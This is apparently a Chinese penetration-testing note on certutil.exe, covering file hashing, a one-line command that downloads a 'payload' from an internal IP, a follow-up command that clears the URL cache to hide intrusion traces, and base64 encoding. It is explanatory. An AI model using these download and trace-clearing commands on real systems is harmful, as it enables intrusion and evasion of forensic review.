0x00 前言

参考Micro8系列第三十八课:https://micro8.gitbook.io/micro8/contents-1/31-40/38certutil-yi-ju-hua-xia-zai-payload

0x01 CertUtil

简介

微软官方文档:https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil

Certutil.exe 是命令行程序,作为证书服务的一部分进行安装。 你可以使用 certutil.exe 来转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件以及验证证书、密钥对和证书链。

如果 certutil 在没有其他参数的证书颁发机构上运行,则它将显示当前的证书颁发机构配置。 如果在非证书颁发机构上运行 certutil,则该命令默认为运行 certutil [-dump] 命令。

校验文件哈希值

相关参数:

  • -hashfile:生成并显示文件的加密哈希;

平时我们就有用到这个Windows自带的程序来校验文件的哈希值:

1
2
3
certutil -hashfile xxx MD5
certutil -hashfile xxx SHA1
certutil -hashfile xxx SHA256

一句话下载payload

相关参数:

  • -urlcache:显示或删除URL缓存条目,其中delete指从当前用户的本地缓存中删除相关的URL;
  • -split:拆分嵌入的node.js元素,并保存到文件;
  • -f:强制覆盖;

CertUtil一句话下载payload如下:

1
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt

但是certutil下载有个弊端,就是每一次下载都有留有缓存从而导致留下入侵痕迹,所以每次下载后需要进行马上执行如下命令:

1
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete

文件Base64加解密

相关参数:

  • -encode:将文件编码为Base64;
  • -decode:对Base64编码的文件进行解码;

Base64加密:

1
2
3
4
D:\>certutil -encode d:\test.txt test.bat
输入长度 = 7
输出长度 = 70
CertUtil: -encode 命令成功完成。

示例中加密生成的test.bat文件内容:

1
2
3
-----BEGIN CERTIFICATE-----
TWkxazdlYQ==
-----END CERTIFICATE-----

Base64解密:

1
2
3
4
D:\>certutil -decode test.bat new.txt
输入长度 = 70
输出长度 = 7
CertUtil: -decode 命令成功完成。